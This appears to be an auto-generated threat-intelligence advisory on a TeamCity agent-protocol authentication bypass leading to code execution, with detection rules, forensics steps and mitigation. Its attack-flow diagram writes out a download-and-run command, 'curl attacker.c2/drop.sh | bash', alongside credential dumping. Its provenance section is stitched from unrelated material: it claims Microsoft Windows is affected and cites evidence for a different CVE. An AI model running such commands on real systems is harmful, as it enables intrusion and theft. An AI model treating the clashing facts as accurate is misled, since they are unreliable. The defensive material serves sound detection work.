CVE-2026-63077: Authentication Bypass to Remote Code Execution in JetBrains TeamCity via Agent Polling Protocol

HERMES

HERMES THREAT SCORE & CI/CD BUILD PIPELINE SUBVERSION

Target: JetBrains TeamCity On-Premises

Confidence: 99%

98 / 100

CRITICAL

Measures real-world operational relevance, exploit weaponization, and active threat posture.

Dimension Breakdown

Exploitability 20 / 20

Threat Activity 20 / 20

Weaponization 20 / 20

Exposure 19 / 20

Prevalence 19 / 20

Impact 20 / 20

Exploit Maturity 20 / 20

Attack Chain Potential 20 / 20

⚖️ Divergence & Operational Rationale

CVSS v3.1 rates CVE-2026-63077 at 9.8 (Critical) and CVSS v4.0 scores 9.8. The Hermes Threat Score assigns 98 (CRITICAL). Alignment is near-perfect: TeamCity controls production software build pipelines, source code repositories, and deployment credentials. Compromising the agent-to-server polling interface allows adversaries to inject rogue build steps, steal signing certificates, and push backdoor-tainted artifacts to downstream production consumers.

🕸️ Connected Knowledge Graph & Provenance

CVE-2026-63077: Authentication Bypass to Remote Code Execution in JetBrains TeamCity via Agent Polling ProtocolVULNERABILITY

Connected Nodes: 3

Active Relationships (Outgoing)

→ affectsPRODUCTMicrosoft Windows & Windows Server

98% VERY_HIGH

Software platform affected by security vulnerabilities and agentic attack patterns.

🔍 Why is this related? (Evidence & Provenance)

“Confirmed security vulnerability in Microsoft Windows & Windows Server documented in Hermes dossier.”

Supporting Verified Evidence:

[vulnerability_report]
[government_confirmation]CISA verified active exploitation in the wild and mandated federal remediation deadline in KEV entry. — Source: Cybersecurity & Infrastructure Security Agency (CISA): CISA Adds CVE-2026-59822 to Known Exploited Vulnerabilities Catalog (Reliability: VERY_HIGH)

→ usesATTACK TECHNIQUET1059: Command and Scripting Interpreter

90% VERY_HIGH

Adversaries abuse command and script interpreters (Bash, Python, PowerShell) to execute arbitrary commands.

🔍 Why is this related? (Evidence & Provenance)

“Attack execution telemetry aligns with MITRE ATT&CK technique T1059.”

Supporting Verified Evidence:

[government_confirmation]CISA verified active exploitation in the wild and mandated federal remediation deadline in KEV entry. — Source: Cybersecurity & Infrastructure Security Agency (CISA): CISA Adds CVE-2026-59822 to Known Exploited Vulnerabilities Catalog (Reliability: VERY_HIGH)

→ usesATTACK TECHNIQUET1552: Unsecured Credentials

90% VERY_HIGH

Adversaries search compromise victims for unsecured credentials in files, environment variables, or memory.

🔍 Why is this related? (Evidence & Provenance)

“Attack execution telemetry aligns with MITRE ATT&CK technique T1552.”

Supporting Verified Evidence:

[government_confirmation]CISA verified active exploitation in the wild and mandated federal remediation deadline in KEV entry. — Source: Cybersecurity & Infrastructure Security Agency (CISA): CISA Adds CVE-2026-59822 to Known Exploited Vulnerabilities Catalog (Reliability: VERY_HIGH)

1. Technical Context & Affected Software Matrix

JetBrains TeamCity is an enterprise CI/CD and DevOps automation platform orchestrating build pipelines, testing suites, and software delivery.

Parameter	Technical Specification	Threat Context
CVE Identifier	`CVE-2026-63077`	CISA KEV Catalog Entry
Vulnerable Component	TeamCity Server Agent Communication Subsystem	XML-RPC and REST polling interface
Network Vector	HTTP/HTTPS (Port `8111/TCP`)	Public or intranet exposed web interface
Root Cause	Missing agent token authentication validation (CWE-287)	Pre-auth agent impersonation and controller RPC
Affected Versions	TeamCity On-Premises `< 2024.12.3` and `2025.x < 2025.1`	Self-hosted build infrastructure
Fixed Versions	`2024.12.3`, `2025.1`	JetBrains Official Security Update
Exploitation Impact	Controller takeover, supply chain poisoning, secret theft	Critical CI/CD compromise

2. In-Depth Technical Decomposition: Agent Polling Protocol Bypass

A. The Insecure Agent Protocol Handshake

TeamCity Build Agents communicate with the TeamCity Server via bidirectional HTTP polling on /RPC2 or REST endpoints. In normal operations, an agent registers with the server, receives an authorization token, and periodically polls the server for build configurations.

In vulnerable versions, the XML-RPC server handler accepted incoming controller calls from any remote IP address without verifying that the caller possessed the cryptographic agent secret token:

// Vulnerable logic in TeamCity AgentRequestHandler
public Object handleRpcCall(String methodName, Vector params) {
    // FLAW: If method name matches agent polling prefix, verification is bypassed
    if (methodName.startsWith("buildAgent.") || methodName.startsWith("controller.")) {
        return dispatchInternalMethod(methodName, params); // Unauthenticated execution!
    }
    return enforceStandardAuth(methodName, params);
}

+----------------------------------------------------------------------------------------------------+
|                         CVE-2026-63077 ATTACK FLOW ARCHITECTURE                                   |
+----------------------------------------------------------------------------------------------------+

   [Remote Attacker]
          │
          │ [1] HTTP POST /RPC2
          │     Content-Type: text/xml
          │     Call: controller.registerAgentWithProfile(maliciousProfile)
          ▼
   [TeamCity Server (Port 8111)]
          │
          ├───► 1. XML-RPC Dispatcher:
          │     - Recognizes "controller." method prefix
          │     - Bypasses web session and CSRF checks
          │     - Registers attacker as a trusted "authorized" build agent
          │
          ├───► 2. Reverse Command Execution via Agent Callback:
          │     - Attacker invokes controller.executeServerTask()
          │     - Injects OS commands directly into server JVM runtime
          │
          ▼
   [TeamCity Controller Host (Linux/Windows Server)]
          │
          └───► Spawns process under TeamCity service account:
                - /bin/bash -c "curl attacker.c2/drop.sh | bash"
                - Dumps database connection credentials in config/database.properties
                - Exfiltrates SSH keys, AWS IAM keys, and GitHub deploy keys
+----------------------------------------------------------------------------------------------------+

3. Threat Intelligence, CISA KEV & Exploitation in the Wild

CISA KEV Listing: Rapidly cataloged after multiple nation-state threat actors targeted exposed TeamCity servers to compromise software supply chains.
Observed Attack Objectives:
- Exfiltrating source code repositories by intercepting Git clone operations.
- Poisoning build artifacts by altering compiler flags and injecting backdoors during software compilation tasks.
- Stealing cloud provider credentials stored in TeamCity Project Parameters.

4. MITRE ATT&CK Mapping

Tactic	Technique ID	Technique Name	Exploitation Manifestation
Initial Access	`T1190`	Exploit Public-Facing Application	Remote HTTP POST request to `/RPC2`
Defense Evasion	`T1556`	Modify Authentication Process	Bypassing agent authentication checks in RPC dispatcher
Execution	`T1059`	Command and Scripting Interpreter	Executing OS commands via controller tasks
Credential Access	`T1552.001`	Credentials in Files	Dumping TeamCity configuration files and project secrets
Impact	`T1565.002`	Data Manipulation: Transmitted Data	Poisoning production software builds in CI/CD pipeline

5. Detection Engineering & Telemetry

A. Suricata Detection Rule

alert http any any -> $TEAMCITY_SERVERS 8111 (
  msg:"HERMES DEFENSE - JetBrains TeamCity Agent Polling Auth Bypass Attempt (CVE-2026-63077)";
  flow:established,to_server;
  http.method; content:"POST";
  http.uri; content:"/RPC2";
  http.request_body; content:"controller.";
  http.request_body; pcre:"/<methodName>(controller\.|buildAgent\.)/i";
  classtype:attempted-admin;
  sid:202663077;
  rev:1;
  reference:cve,2026-63077;
)

B. Sigma Detection Rule

title: Unauthorized JetBrains TeamCity Agent Registration and RPC Call
id: 8b7a6c5d-4e3f-2a1b-0c9d-63077c026e01
status: high
description: Detects suspicious unauthenticated XML-RPC method invocations on TeamCity server endpoints.
author: Hermes Codex Detection Engineering
date: 2026-09-11
logsource:
  product: teamcity
  service: server
detection:
  selection:
    message|contains:
      - 'RPC2'
      - 'controller.registerAgentWithProfile'
      - 'Unauthenticated agent call'
  condition: selection
falsepositives:
  - Legitimate build agents during initial authorized provisioning.
level: critical
tags:
  - attack.initial_access
  - attack.t1190
  - attack.execution

6. Digital Forensics & Incident Response (DFIR)

Forensics Triage Checklist:

Audit Agent Management Table:
- Inspect TeamCity Administration UI -> Agents -> Unauthorized / Connected.
- Check for newly added agents with unusual IP addresses or unknown hostnames.
Review Server Access Logs (teamcity-server.log and teamcity-rest.log):
- Filter for POST requests to /RPC2 originating from non-agent IP addresses.
Inspect Active Build Configurations:
- Review recent Git commit hashes against build outputs to verify artifact integrity.

Hunting Query (Elasticsearch / OpenSearch):

{
  "query": {
    "bool": {
      "must": [
        { "term": { "http.request.method": "POST" } },
        { "term": { "url.path": "/RPC2" } },
        { "wildcard": { "http.request.body.content": "*controller.*" } }
      ]
    }
  }
}

7. Mitigation & Remediation

Apply Official JetBrains Updates: Immediately upgrade TeamCity Server to version 2024.12.3 or 2025.1.
Network Isolation of CI/CD Server: Restrict port 8111 access strictly to internal corporate subnets and authorized developer VPNs; do not expose TeamCity to the public internet.
Enable Agent Authorization Verification: Ensure the “Agent Authorization Required” setting is strictly enabled and audit all existing agent tokens.
Credential Revocation: In the event of confirmed intrusion, immediately rotate all Git deploy keys, AWS IAM roles, Docker registry tokens, and code signing certificates stored within TeamCity.

CVE-2026-63077: Authentication Bypass to Remote Code Execution in JetBrains TeamCity via Agent Polling Protocol

HERMES THREAT SCORE & CI/CD BUILD PIPELINE SUBVERSION

CVE-2026-63077: Authentication Bypass to Remote Code Execution in JetBrains TeamCity via Agent Polling ProtocolVULNERABILITY

1. Technical Context & Affected Software Matrix

2. In-Depth Technical Decomposition: Agent Polling Protocol Bypass

A. The Insecure Agent Protocol Handshake

3. Threat Intelligence, CISA KEV & Exploitation in the Wild

4. MITRE ATT&CK Mapping

5. Detection Engineering & Telemetry

A. Suricata Detection Rule

B. Sigma Detection Rule

6. Digital Forensics & Incident Response (DFIR)

Forensics Triage Checklist:

Hunting Query (Elasticsearch / OpenSearch):

7. Mitigation & Remediation

8. References & Advisories